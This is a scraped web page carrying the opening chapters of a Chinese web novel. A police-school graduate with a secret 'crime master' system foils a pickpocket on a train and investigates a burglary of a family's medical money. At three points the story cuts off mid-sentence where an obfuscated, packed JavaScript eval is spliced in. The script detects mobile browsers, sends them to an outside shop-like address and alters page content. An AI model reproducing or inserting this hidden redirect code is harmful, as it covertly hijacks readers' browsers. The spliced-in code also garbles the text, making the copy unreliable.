《警察,但犯罪大师系统[刑侦]》 1. 同行,啊呸,扒手! 事实证明,干掉扒手这个古老行业的不是警察,而是智能手机和监控。 可惜,现在一个都没有。 一九八二年,春。 江夏正坐在回家的绿皮火车上。 车厢内已经挤满了人,入目望去,尽是灰蓝黑三色的海洋,装满的黄色尿素袋堆放在狭窄的过道上,买了站票的乘客坐在上面,正和身边素不相识的陌生人大声闲聊。 大人的叫嚷,孩童的哭闹,以及火车前行时,咣当咣当的撞击声交织在一起,吵的人耳朵生疼。 但这丝毫没有影响到江夏的心情。 她靠在椅背,无声的哼着歌。 总算从中专警校毕业了! 八十年代别的不说,就毕业包分配这点,让人羡慕的眼泪从嘴角流下来。 刚毕业,江夏就领到就业通知书和单位介绍信,告知她已经被分配到长宁市周营派出所,成为一名光荣的治安警。 江夏就是长宁市人,周营派出所离她家更是只有两公里多,骑车十五分钟就能到。 铁饭碗,还离家近,工资也不算低,那一些毛茸茸的小问题江夏也不在意了,反正都是为人民服务,从哪儿发光发热都没关系,更何况…… 她也有个不适合被人关注的小秘密。 “让一让,借个过啊。” 一个男人一边喊着,一边艰难的从过道中穿行。 他大约三十岁出头,身形瘦的和猴似的,脸也有些尖嘴猴腮,虽是借路,两只眼睛却正滴溜溜转,四下瞄着乘客的衣着和口袋。 江夏循声望去,眉毛一挑。 呦,同行啊。 啊呸! 什么同行,她脑子又进水了,这丫的分明是个惯偷! 都不用抓现行,江夏只看一眼,就能确定对方的真实身份。 她不动声色的盯着对方。 有人借过,车厢过道坐着的乘客们或是收腿,或是往座位里面挤挤,让出个勉强供人通行的空隙。 只是过道中间大包小包的,极难落脚,瘦猴男人只能一步一挪的往前走,逐渐靠近一个身穿黑色的确良外套,看起来家境不错的乘客。 这乘客完全没意识到危险,还在和对面高谈阔论。 瘦猴男人突然像是被绊了一跤,人直接撞向乘客肩膀,嘴上连连说着“不好意思”,右手却已经趁机向前一伸,紧接着就向后回收,将刚偷出来的黑色钱包塞进自己口袋。 一套动作行云流水,别说周围人,就连被偷的乘客都没意识到,自己的钱包已经消失不见。 江夏摸了摸下巴。 北派的技巧,能使这么漂亮,得练了七八年吧? 就是还差功夫,得再…不对,居然敢在她眼皮子底下偷钱! 江夏轻轻拍了下身边唠嗑的大姨:“姨,你帮我看下包成不,我想去个厕所。” “没问题。” 身旁大姨热情的答应,“这包和座位姨肯定都给你看住了!” “那谢谢姨了。” 江夏笑着道谢,她将巴掌大的小本和笔往口袋中一塞,跨过地上的包裹,就向厕所走去。 瘦猴男人走到这截车厢尽头,在原地停了一会,就开始往回走。 江夏正好迎上他。 两人之间只剩下半米的距离。 可这半米的过道,硬是堆了三个装满的尿素袋子,两个大爷正揣着袖子坐在上面用方言聊着天。 见有人要过去,右边大爷伸出手,扯起来袋子,给两人腾出个落脚的空。 江夏向左边车座挤了挤,也让出一点空隙,很有礼貌道:“大哥您先过。” “不不不,还是妹子你先过吧。” 惯偷绰号就是瘦猴,收获一单的他此刻心情颇为不错,见过来的是个漂亮的年轻姑娘,更是多了几分绅士风度。 他向后一靠,笑嘻嘻道:“那什么,女士优先嘛。” “啊,那谢谢大哥了。” 江夏嘴角向上扬起,她擦着惯偷,跨过包裹,左手微微一动,在对方浑然不觉中,将的确良乘客的钱包从他口袋中拿出来,收进袖中。 伴随着动作完成,江夏耳边响起一道只有能自己听到的熟悉声响。 【叮,恭喜宿主完成一场偷窃,自由经验值+1】 江夏面色不变,径直走向厕所。 她是个有系统的穿越者。 穿越前,江夏是联考画室的老师,主教素描速写。 美术生考前都会集训,天天画到夜里一两点,江夏偶尔也会陪着指点,那天她熬到凌晨两点半,饿的出奇,索性和学生一起下楼从街边买小吃。 可过马路的时候,一辆汽车疯了似的,闯过红灯径直朝他们冲来,江夏只来得及推开身边的学生,自己当场没了意识。 再睁开眼,她就穿到一九七九年,成了一个因勇救两名落水儿童,差点溺水而亡的十四岁中学生‘江夏’。 在原主意识影响下,她稀里糊涂对前来采访的记者说,自己想上警校,当警察。 慰问的政府人员当了真,大手一挥,直接给了她个省城中专公安警校的特招名额。 两方皆大欢喜,只有江夏看着突然出现的系统,陷入懵逼。 走进厕所,江夏插上门,只有她能看见的淡蓝色屏幕立刻弹了出来,最顶上赫然写着八个大字。 【犯罪大师培养系统】 最下方,灰色的字幕正滚动着。 待解锁技能: 制毒工艺 分尸精通 假.币制造 …… … 哪怕已经看了很多次,但江夏还是没忍住沉默两秒。 谁家穿越者给这么个系统? 她还是警察,警察啊! 这技能,干一个枪毙一百次都不过分的,简直是在骑脸输出! 没错,江夏的小秘密就是这破系统。 系统旨在培养世界顶尖的犯罪大师,只要犯罪,就会奖励经验值,达到一定数值后,就能兑换各种犯罪技能。 不得不说,这系统升级简单,奖励清晰,非常好用。 就是有亿点点丧良心和费命。 三年前,江夏面对系统懵了好几个小时,怀疑自己上辈子是不是造了什么孽,才有了这么个玩意。 尤其是垃圾系统还强行给她一个新手技能。 伪·宗师级的盗术。 技能很好,偷惯偷的东西对方都发现不了,可惜有个小缺点,手偶尔会不听使唤。 就像职业运动员大量训练带来的肌肉记忆,刚开始获得盗术后,她无意识时会顺手顺走别人东西。 这把江夏吓了一跳,想尽办法才改掉大半,原本打算技能连系统一起这辈子都不启用来着,只是再研究几遍后,她发现破系统还是有点正向用处的。 江夏点开个人面板。 系统瞬间弹出了她立体模型,旁边还有文字介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357713|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍。 【姓名:江夏 个人技能:盗术LV5,素描LV3,码踪LV2,擒拿术LV1……】 江夏手在码踪上点了一下,将刚才获得的经验值加了上去。 除犯罪技能外,她还可以给自己所学的技能加点,也就是利用经验值提升正向技能。 于是,江夏飞快找到了系统的一个漏洞——偷扒手偷的钱包还给受害者,既完成了犯罪,又获得了经验值提升,堪称完美。 关掉系统,江夏拿出自制的素描本和铅笔,刷刷刷就画起来惯偷的脸。 她很清楚,这是个危险行为,很容易因为渴望快速提升技能而失控。 所以江夏一直克制着自己,从不主动寻找扒手,只有正巧碰到扒手行窃,才会反偷回来,并顺手把对方送进监狱。 也因如此,江夏技能提升的很缓慢,至今也就把码踪提到LV2,其中一大半还是靠她自学。 不用橡皮,也不用打型,江夏从眼睛开始画,只用了两三分钟,一张和惯偷近乎一模一样的脸就跃然于纸上。 这是她穿越前的本事,同样吃肌肉记忆,练到最近,才恢复个七八成功力。 这惯偷手上功夫不错,肯定有人教,九成九是团伙作案。 下了车,她将头像交给乘警,有惯偷模样,乘警们知道是谁,就能沿着他摸清楚整个团伙,将其一网打尽了! 合上本子,江夏将素描本塞回口袋,打开厕所门往回走,在经过的确良乘客时,悄悄把钱包还了回去。 这波,她加了点,乘客没丢钱,扒窃团伙即将全军覆灭,简直就是秦始皇摸电线,赢麻了! * 瘦猴正在返回贼头所在车厢。 他丝毫不知道有人正准备把他送进局子,也没察觉到偷来的钱包已经不翼而飞,脑海中只有刚才从面前过去的年轻姑娘。 那模样,是真好看啊。 他鼻尖似乎还萦绕着股淡淡的玫瑰香味,那是对方头油的味道,在满是汗味的车厢内,显得极为芬芳。 瘦猴思绪逐渐开始往下三路走了。 正想入非非呢,一只手忽然拍在了他的肩上。 “想啥呢师哥,这么入神?” 拍他的人是东子,他师父刚收没多久的三师弟,此刻正站在他面前。 “没事儿。” 瘦猴转过头,随口道:“想我刚才应该签了个大单。” “那感情好啊。” 东子兴奋起来,“这是碰上肥羊了?” “穿的是的确良,还带着手表呢!可惜腕上的师父不让动。” 瘦猴边低声说着,边向前走。 面前是两列车厢的连接处,人不多,一个老头拿着老式烟枪,正坐在角落里慢悠悠的抽着烟。 他鬓发灰白,头上带着老式的八片布帽,整个人半蜷缩着,头微微向下垂着,像个劳作大半辈子的老农民。 但瘦猴丝毫不敢怠慢。 这是他的师父,鲁西南一代有名的贼头,年轻时,手快到能从滚油锅里捞肥皂! 也就是现在年纪大了,身老力衰,手不似从前稳了,这才带起来徒弟。 见到他,瘦猴立刻伸手摸向口袋,准备将扒来的钱包拿出来上交。 可手刚摸到口袋,瘦猴瞬间心头一惊。 空的。 里面什么都没有。 他钱包呢? 他刚扒来的钱包哪去了?! 2. 警察局报道 瘦猴吞了口唾沫,声音干涩的说道:“钱包没了。” “啥?” 东子目光狐疑起来,“师哥,你不会什么单都没签,不想被师父骂,所以才这么说的吧?” “屁!谁像你那么手笨脚粗的,老子开单了!” 瘦猴瞪了他一眼,随即低下头,手扯着衣摆翻看着空了的口袋。 邪了门了,他这口袋专门加深过的,再挤钱包也掉不出来,怎么就没了呢? 贼头不发一言的听到现在。 他抽了口旱烟,声音沙哑含混的再次确认:“东西不是掉了?” “肯定不是啊!” 瘦猴上前蹲下,扯着口袋让师父看:“我这兜这么深,哪能掉啊!” 贼头手拿着烟枪在车厢上磕了下,眼中精光一闪,“那你就是被别人摸了!” “不可能吧?” 东子闻言一愣,随即否定:“师哥手艺最好了,哪能被人摸了还不知道?” “我……” 瘦猴也不想承认,可钱包不会掉,口袋里没有,只会是被别人给摸走了! 他一个干了十多年的老扒,居然被别人给反扒了?! 这说出去简直要被人笑掉大牙! 瘦猴脸涨的发红。 这是哪个孙子干的? 他回忆着过来时的经历。 是刚才故意挤了他一下的秃头?自己转身时在看报纸的中年人?还是那两个聊天的老农? 好像哪个都是,又哪个都不是,他连自己什么时候丢的钱包都不知道! 瘦猴越想越觉着可怕,后背逐渐冒出冷汗。 娘嘞,这是遇上高手了啊! 半晌没听到反驳,东子顿觉不妙,他小声问道:“师哥?” “是被人摸了。” 瘦猴丧气的垂下头,“还不知道是谁。” “就算我再年轻个二十年,也没把握摸老大你的兜。” 贼头又抽了口烟,烟雾缭绕后的脸上多了几分凝重,“这人本事比我强,高低得是个‘贼王’!” “贼王?!” 瘦猴心跳瞬间快了半拍。 这样的大佬,他输的不冤啊! 就是不知道那节车厢上哪个是贼王了。 瘦猴又在脑海中过了遍刚才接触到人,那印象深刻的漂亮姑娘面孔刚浮现,立刻就被他排除掉了。 女贼不是没有,但那么年轻的,怎么可能会是贼王? 开玩笑呢! “被别人摸了都不知道,技不如人,按规矩,这趟咱们不能继续干了。” 贼头握着烟杆,沉声交代,“等下车打听打听是哪儿的高手,最好他只是过江龙,要成了坐地虎,那咱们就麻烦大了!” 瘦猴连忙点头。 那可是贼王,坐车途经此地也就罢了,反正就遇这一次,可要是留下来成坐地虎,就他们这点本事,哪能争得过对方? 瘦猴忍不住在心底祈祷。 老天保佑,这是条过江龙啊! * 江夏刚坐回座位上,就听见系统又响了一声。 【叮,恭喜宿主获得‘贼王’称号,声望值+3】 江夏缓缓在心底打了个问号。 贼王?什么鬼东西? 心随意动,淡蓝屏幕立刻浮现眼前。 个人面板上,此刻多了个称号栏,最上头是个青铜头冠,下方写着‘贼王’二字,旁边还有功能介绍。 【佩戴该称号后,同行敬佩+20%,条子好感-30%】 江夏:…… 这破系统真有毒。 还好称号可以不佩戴,不然同事们看她就讨厌,那未来工作简直没法干了。 不过这么久研究下来,江夏确定,自己这个系统没有智能,就像设定好的程序,突然奖励,肯定还是和她干了什么有关。 想想刚才自己干了什么,江夏怀疑起那个被自己反偷的瘦扒手。 他发现自己被偷了? 一个声望值代表一个人,三个,是瘦扒手和同伙聚一块说什么了? 江夏的表情忽然多了几分古怪。 他们是不是脑补了什么奇怪东西? 该不会是这群人认为她是个贼王,系统才认定了这个称号的吧? 她看向更下方的声望值,略微有些头痛。 声望值和经验值不同,它不能给技能加点,只会自行增加,目前已经变成了47/100。 看着即将过半声望值条,江夏目光有些严肃。 经验值能给技能升级,声望值满了,应该也会有些用途,只是不知是好是坏了。 考虑称号能自由佩戴,声望值满后的奖励,应该也受她控制,不会太坑。 嗯…… 等她一点点摸清楚系统的机制,就可以想其它办法卡系统bug刷点,继续提升能力了! 关掉系统,江夏心情逐渐愉悦起来。 “旅客们,前方到站长宁市,请旅客们收拾好自己的行李物品,准备下车……” “到站了到站了,长宁市下车的乘客都醒醒啊!” 火车即将到站,广播播报后,乘务员艰难从过道中穿梭,边走边大声提醒着乘客。 江夏背上行囊,提起布包,宛若挤在罐头里的沙丁鱼,半天才挤出车厢。 清风扑面而来,吹散车内带出来的浊气。 江夏长舒了口气。 总算下车了! 她站在原地等了一会儿,见身着警服的乘警下来,身上还带着警务段的标识,立刻提包迎了上去。 “同志您好。” 江夏放下布包,从口袋里掏出素描本,将画着扒手的那页撕下来递过去,道: “我在火车上看到这个人行窃,怕他们有同伙,就没喊,只把他画了下来,您看看有用吗?” “喔?” 老乘警有些惊讶。 他干了三十多年乘警,下车后找他报案的见人偷东西的乘客不少,直接给他张画像的还是第一次见。 “我看看。” 说着,老乘警接过纸张,上面的人脸居然比黑白相片还清晰,模样也有些眼熟,似乎不止见过一次。 那真是有问题了。 老乘警神色严肃起来,“现在扒手很猖獗,不少都带着刀,不喊是对的,不然激怒他就麻烦了。” 他将纸折起来,小心放在胸前口袋里,对着江夏询问道:“同志是学画画的?在哪个单位?能留个地址不?等抓到他们,我好给你们单位写感谢信。” 不愧是老乘警,查户口说的都这么好听。 江夏心下感慨,她迟疑两秒,还是说道:“周营派出所的。” 派出所? 那不是同行嘛! 老乘警一怔,又多打量两眼,脸上忽的多了些许笑容。 “公安毕业的吧?你这本事,绝了!” 老乘警朝着江夏竖起大拇指:“等抓到惯偷,我亲自给你所长道喜去!” 预计能送几个惯偷进去待几年,江夏心情很是不错,她提着包,悠哉悠哉的走出火车站。 热闹的吆喝瞬间传入耳中。 “火车站招待所就在南边,请往南走!” “国营肉联厂招待所,有电视!长途电话!步行五分钟就到!” “三轮车载客,一公里只要一毛钱!” “摩的快送!一公里只需三分钟!” 车站门口站了一堆人,最头前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357714|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是举着招待所牌子揽客的工作人员,后面停着一群人力三轮车,车夫正扯着嗓子招呼着刚出来的乘客,不远处还停着两辆擦的能反光的摩托车。 江夏行李多,上公交车不仅得补票,还得再多走两段路,索性花了五毛钱,坐三轮车回了家。 她拿出钥匙,打开门一看,发现谁都不在家。 十点多,正是上班的点,家里有人才不正常,江夏放下行李,想着时间还早,索性留了个纸条,拿着通知书和介绍信,先去派出所报道了。 * 周营派出所。 老所长吴振国黑着脸进了屋。 办公室刚才还有些吵嚷,一见吴振国进来,瞬间寂静下来。 有人瞄了眼他漆黑的脸色,更是把头低了下去,生怕触了对方霉头。 吴所长这两天很不爽。 周营派出所人不多,加上户籍内勤,也才八个民警。 偏偏这片区域人口稠密,这几年知青回城,又没工作安置,许多人就成了街溜子,还开始拉帮结派。 再加上这几年上面又搞什么改革开放,允许个体投机倒把,有人就开始做小生意。 一涉及钱,事情就更不可控了,那争地盘、抢生意的搅和在一起,乱的根本管不过来。 他和领导掰扯数个月嘴皮子,嘴上磨出个大火泡,好不容易才给所里再加了两个管治安的新人。 按理说,这是好事,可吴所长却预感不妙,再一问,嚯,果然有坑。 这来的新人中有个是女娃! 吴所长心里瞬间有一千一万个不愿意了。 这街溜子和敢投机倒把的小贩,哪个胆子不大到出奇,稍微年轻点的男警察都镇不住,何况一个刚毕业的小女警。 带出去,起不了多少用不说,他还得再费心保护她。 这不是拖后腿嘛! 知道消息的吴所长马上找领导换人,可这次再怎么磨,领导都不松口了。 气人啊! 端起搪瓷杯,吴所长咕咚咕咚饮下一缸子水。 还未放下杯子,一个年轻姑娘就走了进来。 “您好,请问谁是吴所长?” 江夏拿着两封信,走进派出所,问道:“我是公安警校的毕业生江夏,前来报道。” “你就是江夏?” 吴所长没想到她来的这么快,他上下打量着,眉头皱的更紧了。 个倒是挺高的,看模样也练过,不是个弱不禁风的,就是身上一股子书卷气,一看就是刚出校门,好欺负的模样。 “我是。” 江夏维持着微笑,不动声色的观察着自己的顶头上司。 他大概五十岁出头,鬓角微白,脸晒的黝黑,双眼锐利,不知道为什么,看向她的目光中隐约带着几分不满。 江夏微怔。 什么情况? 她第一天报道就得罪上司了? 她也没佩戴称号啊! “叮零零——” 一声电话忽然打破了僵持。 所内新来的治安干警胡伟接起电话,他“嗯嗯”两声,神色一凌,立刻高喊,“所长!东华路上的董爱华家被盗了,丢了九百多块钱!” 九百多,这是普通工人整整两年的工资了! “让他们保护好现场!” 数额巨大,吴所长立刻放下江夏的事情,他迅速分配起任务,“陈大姐,你赶紧给局里打电话,让他们派人来,小胡,老吕,你们两个跟我去现场——” 说完,吴所长迟疑了下。 这么大的事儿,现场不知道聚了多少人,三个警察,还是太少。 他看着刚来的江夏,深吸口气,伸手指着她道: “你也来!” 3. 救命钱被偷了 被点名的江夏没有任何迟疑,直接就跟了上去。 这么大一笔钱,对寻常家庭来说和天塌了没啥区别,她必须得去现场看看有没有遗留的线索,最好能好把案子给破了。 她骑上车,跟着吴所长一路疾驰。 东华路这边一直没修筒子楼,工人住的都还是平房。 早些时候,这边房屋还算规整,近几年各家扩建,住宅区里的路就开始错综复杂,外人第一次来,绝对会被绕晕。 不过吴所长在这儿干了二十多年,对这片地形早就烂熟于心。 他带着队伍,从公路一拐,驶进个狭窄的胡同里,左拐右拐,没走半点弯路,就到了董爱华家外,总用时不到十五分钟。 就这一会儿,董爱华家门口就挤满了人,议论个不停。 “这也太惨了……” “她家三口人都在医院等着用钱呢。” “干这事,良心都丧尽了!” …… “让开让开,警察来了!” 吴所长下车,将车往墙上一靠,直接手动推开挤在门口看热闹的人群往里挤。 江夏有样学样,车子一靠,快步跟上,刚跨过院门,就见到一个大约五十多岁的老人瘫坐在地上。 她头发散乱,脸上满是泪水,两边脸已经红肿,手却还使劲儿伸着往脸上扇。 “我就不该出门啊!” 两个妇女一左一右死死拉住她的胳膊,“婶子,婶子你别这样!” “那是我家三口人的救命钱!好不容易凑够了,都被我给丢了!这还怎么活啊!” 苍白的话语根本无法提供多少安慰,董爱华被拉住手,没办法再打自己,头便不停的向前撞,恨不得面前有堵墙,让自己直接撞死算了。 江夏面上神色越发凝重。 情况比想象中复杂。 董爱华丢的是治病用的救命钱。 偷窃案不出名,破获起来难度却极高,它最大难点不是抓住罪犯,而是抓住罪犯还能找回钱。 可大多数窃贼钱一到手就会挥霍,等警察通过线索摸排蹲点好不容易抓住窃贼,钱往往也剩不下多少了。 医院里的病人等不起,越快破案,追回钱的希望越大。 她必须尽快确定嫌疑人! 江夏快速扫了眼现场环境。 董爱华家有两间房,正屋坐东朝西,南面加盖了间厢房,厢房门锁着,北边是邻居家的后墙,三面一围,中间就是个不大的小院。 东面是院门口,有一截延伸过来的墙,不高,也就两米,徒手就能翻越。 她顺势往墙底下一看,好嘛,全都是鞋印。 估摸着报警前,这院子里有不少人进来过。 八十年代,着实不能指望这个时候的人能有多少现场保护意识。 鞋印暂时看不了,还是先听听情况吧。 江夏想。 “吴所,你总算来了!” 保卫科长站在院里,正急的团团转,一见警察来了,连忙上前递上根烟。 吴所长接过烟,没抽,他直接问道:“这家现在啥情况?” “丢的是手术费。” 保卫科长同样是刚来没多久,他叹了口气,道:“她小孙子前个自己倒开水,全倒脚上了,听说是严重烫伤,得手术,不然就得截肢。” “小孙子妈,也就是她儿媳妇怀着孕,才八个月,看到这直接吓早产了,现在三个大活人躺在医院里,都等着钱救命。” 说到这里,保卫科长也咬起了牙,声音咯吱咯吱的,“她们家东拼西凑,好不容易才借够钱,也不知道哪个天打雷劈的,就转身的功夫,全都给偷走了!” 三条人命。 吴所长手不由得抖了一下,他将烟夹在耳上,深吸口气,问:“那钱怎么丢的,丢多久了?” “不到一个小时吧,四十来分钟前?” 保卫科长回忆了下,道:“就出门送亲戚,回来发现家被盗了,钱全没了。” 这太简略了。 吴所长确定在保卫科长这边问不出什么有用的了。 他转过身,刚准备问董爱华,就见江夏已经蹲在对方身前。 她拿出手绢,边给对方擦眼泪安抚,边问道: “姨,我知道您现在难受,但咱们现在要紧的是赶紧抓到贼,把钱全追回来,您冷静一下,给我说说,这钱是在哪个时间段丢的?回来的时候家里什么样?” 嗯? 吴所长微微一顿。 这女娃,反应倒还挺快。 他向右看了眼。 同为新人的胡伟还站在他身边,听完情况的他已经气的脸通红,可也就剩下这点了,刚入职的他啥都不会呢,至于还在门口站着的老吕…… 这个老油子,不提也罢。 吴所长上前两步,站到江夏身后。 “我,我送兄弟出门的时候大概是十一点钟。” 见警察来了,董爱华像是抓到最后一根救命稻草,她强忍住眼泪,可哭久了,人还是止不住的抽抽,只能断断续续说道: “他急着回家,可这边路不好走,我说送他到大路上去。” “我走前把正屋门和大门都给锁了,回来大门还好好的,可一进院子,就见正屋门开着,我当时心里就咯噔一下,进来一看,果然柜子都被翻开了,借的钱全都没了!” “我听见婶子喊有贼就出来了。” 一旁拉着她的妇女补充道:“那时候大概十一点二十出头?” 江夏拿出小本,将时间和过程记下,确认道:“这么说,姨你中间就出门二十分钟左右?” 董爱华点点头,“差,差不多。” “速度这么快,这贼八成是个惯偷。” 吴所长目光扫过江夏记录的小本,眼中多了些赞许与惋惜。 不愧是警校毕业的,反应快还有条理,可惜……算了,不想了。 压下情绪,吴所长分析起情况:“这片外人摸不清楚,能在这么短完成作案,肯定是本区的熟人干的,估摸着是董大姐家这几天借了不少钱,被他给盯上了。” 救命钱,经不起等,分析完毕,吴所长直接拍板道: “小胡,老吕,还有…江夏,都别傻站着等刑侦大队的人过来,咱们先分开问问围观的,这段时间有没有在周围见到本区偷鸡摸狗的混子!” “是所长!” 听到任务,胡伟立刻应下,他跑向院外,向围观的群众询问。 老吕慢悠悠的跟上。 江夏没动。 她觉着吴所长的分析大方向没错,就是有些草率,连现场都没看,就直接下了结论。 这也是如今常见的情况,国内的刑侦才刚刚起步,基层的民警,乃至部分刑警主要凭借个人经验破案,重口供,轻证据,很容易有所疏漏。 看过董爱华的布鞋,江夏站起身,走到正屋门前,望向屋内。 这间正屋大概有七八米长,中间砌了堵墙,隔成两间,外面用作待人接物的客餐厅,里屋则是间卧室。 卧室里衣柜、床上柜等柜子全都被打开,衣物扯出来大半,随意扔在床上,地上,客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357715|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐厅却没动,只有个打开的空饼干盒倒在地上,地上还有几串脚印。 江夏目光在饼干盒和脚印上停留了片刻,隐隐约约有点想法。 但这还不够。 她又望向屋外。 一个被随手扔在地上的挂锁吸引了她的注意。 它上面有几道红痕,那是被砖砸过留下的痕迹。 “小夏啊,没听见所长叫你去问人吗?” 见江夏没去问人,而是走到正屋门前呆看,这让老吕很是不满,他拉长了语调问道:“你跑门前看什么?” “吴所,我有个新发现。” 这话阴阳怪气的,江夏没理他,她拿起锁走到吴所身边,道:“您看这锁,是被砖砸的。” 老吕撇了下嘴,反驳道:“一把挂锁有什么好看的?” 吴所正被董爱华扯着衣袖,他目光扫过挂锁,同样十分不解。 “挂锁是被砸开的,这怎么了?” 江夏直言:“我怀疑这贼不是惯偷。” “不是惯偷?” 被否定了判断,吴所也没恼,想着她毕竟是警校出来的,肯定有点能力,便问道:“你说说,怎么想的?” “这种单排弹子结构的挂锁质量一般,很好开,稍微偷过几次东西的,就知道怎么用钳子或者扳手把它给撬开,没声又开的快,算是最常见的盗窃手法。” “不过,没事随身带着钳子扳手太累也太显眼,所以手艺更好些的窃贼会随身带节钢丝和细铁片,用对弹子的方式开锁,更快也更隐蔽。” 江夏边说着,边旋转着手中伤痕累累的挂锁给吴所看。 “可这锁却是被砸开的,您看看,得砸了十多下,这砸锁的动静可不小,要是把人吸引过来怎么办?而且砸锁是个运气活,谁知道哪下能砸开?只有没撬过锁的新手才会这么干。” “嘶——” 吴所轻轻吸气,他拿过挂锁,看着上面的痕迹,对江夏的话信了八九分。 的确,寻常人哪知道怎么撬锁?丢了钥匙舍不得找锁匠开锁,就只能用榔头砸,那动静大的整个楼上上下下都能听见,这里同样差不了多少,有点经验的惯偷哪敢这么干? 没想到,还能从撬锁的手法看罪犯啊。 吴所看向江夏,目光带着几分惊奇,“警校还教人撬锁呢?” “呃。” 江夏露出标准微笑:“警校不教撬锁,这我是自己研究的。” 如今公安警校课程包括刑事侦查,但涉及痕迹的部分极少,涉及撬锁的更是没有,她对撬锁这么精通,完全要感谢系统。 入室盗窃也是偷盗,宗师级盗术,必须要包含溜门撬锁?啊! 就是没想到,这技能还能在这儿用上。 自己专门研究撬锁? 连用什么工具和手段撬都如数家珍的? 吴所盯着江夏,眼神忽然有点奇怪。 他探究的问道:“你不会还会开锁吧?” “会一点。” 江夏直接点头承认,“毕竟知道原理嘛。” 也对。 知道原理,那肯定会点。 吴所深深看了江夏一眼,把她面貌全都记了下来。 他没再多说。 破案要紧。 见谁都不搭理他,老吕又过来找存在感了。 “警校不教你嚷嚷啥啊。” 他直接批评起江夏:“我说小同志,你刚毕业什么都不懂的,知不知道换个方向查要多费多少功夫?新手,新手那海了去了,这儿都是新手,上哪里查?!” 4. 这你又怎么知道的? 老吕,原名吕福生,已经干了二十多年片警。 正所谓人到中年,上有老,下有小,正是最适合被上级压榨的顶级牛马,啊不,是最应该奋斗的年纪。 可吕福生不一样,已经开悟的他只想躺平,每天最爱的,就是坐在办公室里,然后一杯茶,一根烟,一张报纸看一天。 至于破案? 哈,这种需要在外反复摸排,能把鞋底磨平的苦活,狗都不干! 尤其是这次的窃案颇为棘手,吕福生更不想沾,他只想等市局的人来处理。 偏偏这个新来的极不懂事,平白就要给自己加一堆活。 真要是按她的想法来,那今天下午别想准点回家了! “你一个新人,什么都不会的,不要只想着表现!” 心中不满,吕福生直接一顶帽子扣了上去,随即又对着吴所恭维道: “依我看,还是所长您判断的对,就该先过一遍这片的惯偷再说。” 闻言,江夏微微皱眉。 真是好重的登味。 若是个新人,平白被老警劈头盖脸这么一训,恐怕什么话都不敢说了。 可江夏穿越前也是上了七八年班的职场老人,根本不会被他唬住。 哔哔这么多,不就是不想多干活嘛! 江夏在心里翻了个白眼。 警察也是人,想少干点也是常情,但总得有个轻重缓急吧?医院三条人命等着,还能这么无动于衷把事儿往外推,那就真不是人了。 新人入职,本不该得罪所里的老人,但这种只敢扯着所长扣帽子的废物,得罪也就得罪了。 “瞧您这说的,难道案子难查就不查了?” 江夏直接出言反驳,“更何况,警校教的就是破案,我这是按照标准痕检给出的合理推论,所长都没反对呢,您急什么啊?” “你还没入职呢!” 被新人反驳,吕福生只觉着失了面子,他脸色越发难看,“现在人正在医院等着钱救命,要按你说的,抓不到贼,出了事故谁来负责?你吗?你有那个能力吗?!” 你还知道人命关天啊! “够了!” 不等江夏继续开怼,吴所直接呵斥起吕福生:“还没开始查呢,你在这儿吵吵什么?吕福生我跟你说,抓不着罪犯,就算是市局的人来了,你也得继续干!” 这话一出,吕福生瞬间愣了。 不对,吴所不是挺反感这个要入职的女警吗?怎么就这一会儿功夫,态度直接来了个一百八十度的大转弯,开始维护起来她了? 吕福生完全没搞清楚吴所的心思。 做为实用主义者,吴所对江夏的反感,主要来源于不能把她当驴使。 可她有本事,能当找破案线索的探照灯用,那也不亚于驴了。 而吕福生这种不怎么干活的,连狗都不如,要不是赶不走,他恨不得能撵多远撵多远。 现在没用的狗朝着探照灯呲牙,还想咬两口,那吴所不骂才怪呢。 “报告!” 询问完围观群众,胡伟迅速跑了回来,他偷瞄了眼江夏,装作没听见刚才动静似的,直接道: “我问清楚了,外面的人都是搪瓷厂的,他们刚才在上班,听人去借电话报警后才过来的,不知道情况,邻居也一直在家,我又问了下,他们说,这几天都没见到过什么可疑人员在周围走动。” 有了江夏的推断,这个结果并未让吴所意外。 “那这就不好查了。” 他逐渐拧紧眉头,“这片区人可不少,就算是把正在工厂上班、老弱病残的都去掉,剩下的嫌疑人也得上百,全过一遍,怎么都得个两三天,这样搞,黄花菜都凉了。” 吴所沉吟着,可以他的经验,着实想不出比摸排更快的办法了。 “江夏。” 吴所抬头,对江夏问道:“你还有别的想法吗?” 时间不等人,只能期望探照灯能更有点用了。 “您再给我点时间。” 江夏深吸口气,“我得再看看现场,您注意别让其他人再走动了。” “行。” 这要求很简单,吴所当即答应:“你看吧,别破坏现场就行。” 